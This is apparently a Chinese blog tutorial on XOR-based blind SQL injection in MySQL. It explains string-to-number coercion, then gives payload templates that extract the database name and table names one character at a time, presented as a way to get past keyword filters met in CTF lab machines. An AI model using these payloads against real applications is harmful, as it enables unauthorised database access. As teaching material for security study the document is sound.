在介绍异或注入之前,先看看这个
mysql> select 'aaa'=0;
+---------+
| 'aaa'=0 |
+---------+
| 1 |
+---------+
1 row in set, 1 warning (0.00 sec)
#这里可以看到返回结果是1,表示true
mysql> select 'aaa'=1;
+---------+
| 'aaa'=1 |
+---------+
| 0 |
+---------+
1 row in set, 1 warning (0.00 sec)
#但这里返回的是false
查阅了相关文档后,发现这样一个特性。
在做string和数字型的值比较的时候,string会转换成数字,对于前面是数字的字符串,转换的时候就是转换成前面的数字,而前面不是以数字开头的字符串,转换的时候自然就是转换成0了,可以再看看下面两个例子。
mysql> select '1aaa'=1;
+----------+
| '1aaa'=1 |
+----------+
| 1 |
+----------+
1 row in set, 1 warning (0.00 sec)
mysql> select '12aaa'=1;
+-----------+
| '12aaa'=1 |
+-----------+
| 0 |
+-----------+
1 row in set, 1 warning (0.00 sec)
下面进入正题
什么是异或注入
异步注入说简单一点就是在构造where后面的判断条件时使用^(异或符号)来达到sql注入攻击的目的,通常异步注入与一些自动化脚本比如bp中的intrude模块或者自己写一个python脚本来配合使用。可以来看个例子。
mysql> select * from student;
+-----------+--------+------+------+-------+
| Sno | Sname | Ssex | Sage | Sdept |
+-----------+--------+------+------+-------+
| 201215121 | 李勇 | 男 | 23 | CS |
| 201215122 | 刘晨 | 女 | 20 | CS |
| 201215123 | 王敏 | 女 | 19 | MA |
| 201215125 | 张立 | 男 | 20 | IS |
| 200215128 | 陈冬 | 男 | 19 | IS |
| 201515000 | 小赵 | 男 | 31 | IS |
| 201515001 | 小钱 | 女 | 29 | MA |
| 201515002 | 小孙 | 男 | 34 | MJ |
| 201515003 | 小李 | 女 | 26 | CS |
| 201515004 | 小周 | 男 | 42 | LI |
+-----------+--------+------+------+-------+
10 rows in set (0.07 sec)
#这个是student表的内容
但如果我这样构造sql查询语句的话
mysql> select * from student where Sname='李勇'^1;
Empty set, 11 warnings (1.65 sec)
mysql> select * from student where Sname='李勇'^0;
+-----------+--------+------+------+-------+
| Sno | Sname | Ssex | Sage | Sdept |
+-----------+--------+------+------+-------+
| 201215121 | 李勇 | 男 | 23 | CS |
| 201215122 | 刘晨 | 女 | 20 | CS |
| 201215123 | 王敏 | 女 | 19 | MA |
| 201215125 | 张立 | 男 | 20 | IS |
| 200215128 | 陈冬 | 男 | 19 | IS |
| 201515000 | 小赵 | 男 | 31 | IS |
| 201515001 | 小钱 | 女 | 29 | MA |
| 201515002 | 小孙 | 男 | 34 | MJ |
| 201515003 | 小李 | 女 | 26 | CS |
| 201515004 | 小周 | 男 | 42 | LI |
+-----------+--------+------+------+-------+
10 rows in set, 11 warnings (0.00 sec)
为什么会是这个结果呢?
首先’李勇’^1做异或运算,结果会是1,因为该字符串转换成数字就是0,然后看看Sname=0这个表达式,我们不妨把每个元组都拿过来一个一个比较,每个元组的Sname转换成数字都是0,所以对于每个元组,该where后面的判断条件全部都是成立的,而Sname=1这个表达式自然就是都不成立。
如何利用异或运算来进行注入?
我们可以构造一条这样的sql语句
mysql> select * from student where Sname='李勇'^(length(database())!=$变量$);
通过构造这样类似的sql语句就可以得到当前数据库名的长度,也可以将语句稍微改改,通过脚本爆破出数据库名表名等,这里我就不演示太多了。
#查询数据库名
mysql> select * from student where Sname='李勇'^(substr(database(),$变量1$,1)!=$变量2$);
#查询表名
mysql> select * from student where Sname='李勇'^(substr((select table_name from information_schema.tables where table_schema=database() limit $变量1$,1),$变量2$,1)!=$变量3$);
总结
通常目标服务器没有对^符号进行过滤的时候,都可以尝试使用异或注入。之前我就遇到了一个把and,or,||,&&,union,select,注释等这些关键字都给过滤了的靶机,不过没有过滤掉异或符号,如果不知道有异或注入这种操作,这个靶机估计又要卡好久。。。学网安感觉很难有成就感,这并不是学一段时间就能做出一个东西出来的一门学科,并且很难看到自己的进步,每次做ctf的题目或是靶机,总能遇到以前从来没有见过的技术。麻了,睡觉去了。